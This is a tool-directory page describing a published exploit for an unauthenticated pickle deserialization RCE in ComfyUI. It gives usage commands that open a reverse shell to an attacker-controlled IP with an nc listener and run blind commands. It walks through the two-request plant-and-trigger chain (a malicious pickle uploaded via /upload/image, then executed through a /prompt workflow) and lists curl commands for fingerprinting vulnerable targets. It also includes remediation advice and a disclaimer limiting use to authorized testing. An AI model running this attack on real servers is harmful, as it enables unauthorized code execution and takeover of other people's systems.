Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-68771_exploit — Unauthenticated exploit for CVE-2026-68771, a pickle deserialization RCE in ComfyUI. Plants a crafted shard via /upload/image, triggers it through /prompt, and executes commands or opens a reverse shell. | Kitploit
Tools/GitHubGitHub/0xdak/cve-2026-68771_exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHub0xdak/cve-2026-68771_exploit

CVE-2026-68771_exploit

Unauthenticated exploit for CVE-2026-68771, a pickle deserialization RCE in ComfyUI. Plants a crafted shard via /upload/image, triggers it through /prompt, and executes commands or opens a reverse shell.

View Repository
118 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-68771 — ComfyUI Unauthenticated Pickle Deserialization RCE

Unauthenticated remote code execution in ComfyUI via the LoadTrainingDataset node.

LoadTrainingDataset.execute() loads dataset shards from the server's output directory with torch.load(f) and no weights_only=True. On PyTorch < 2.6 (where weights_only defaults to False) a crafted shard_*.pkl runs its pickle __reduce__ on load (CWE-502). ComfyUI ships without authentication, and the /upload/image route (with type=output) writes the raw uploaded bytes with no extension check, so a .pkl can be planted and then triggered in two unauthenticated requests.

  • Affected: ComfyUI 0.23.0 on PyTorch < 2.6
  • Default port: 8188 (unauthenticated)
  • CWE: 502 (Deserialization of Untrusted Data)
  • Impact: RCE as the ComfyUI process user (commonly root)

Requirements

Python 3 standard library only — no dependencies.

Usage

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444

# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'

The command runs on the server; its output is not returned, so use --shell for a reverse shell (or write to a readable path) to observe the result.

How it works

Two unauthenticated requests:

  1. Plant — POST /upload/image with type=output, subfolder=training_dataset, filename shard_0000.pkl. The /upload/image route writes the raw bytes (no image processing on that path), so the pickle lands verbatim at output/training_dataset/shard_0000.pkl. The pickle's __reduce__ returns (os.system, (cmd,)).

  2. Trigger — POST /prompt with a workflow: a LoadTrainingDataset node (folder_name=training_dataset) wired to a SaveLatent output node. The output node forces ComfyUI to execute LoadTrainingDataset, which globs and calls:

Identifying a target

root@kitploit:~
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200  -> vulnerable node present

Remediation

  • Upstream fix: load shards with torch.load(f, weights_only=True).
  • Upgrade PyTorch to >= 2.6, where weights_only defaults to True and the restricted unpickler rejects os.system.
  • Never expose ComfyUI to untrusted networks, and don't run it as a privileged user.

Disclaimer

For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.

Download Tool
shard_*.pkl
root@kitploit:~
with open(shard_path, "rb") as f:
    shard_data = torch.load(f)      # no weights_only=True -> runs the pickle on torch < 2.6

The pickle __reduce__ runs os.system(cmd) during deserialization.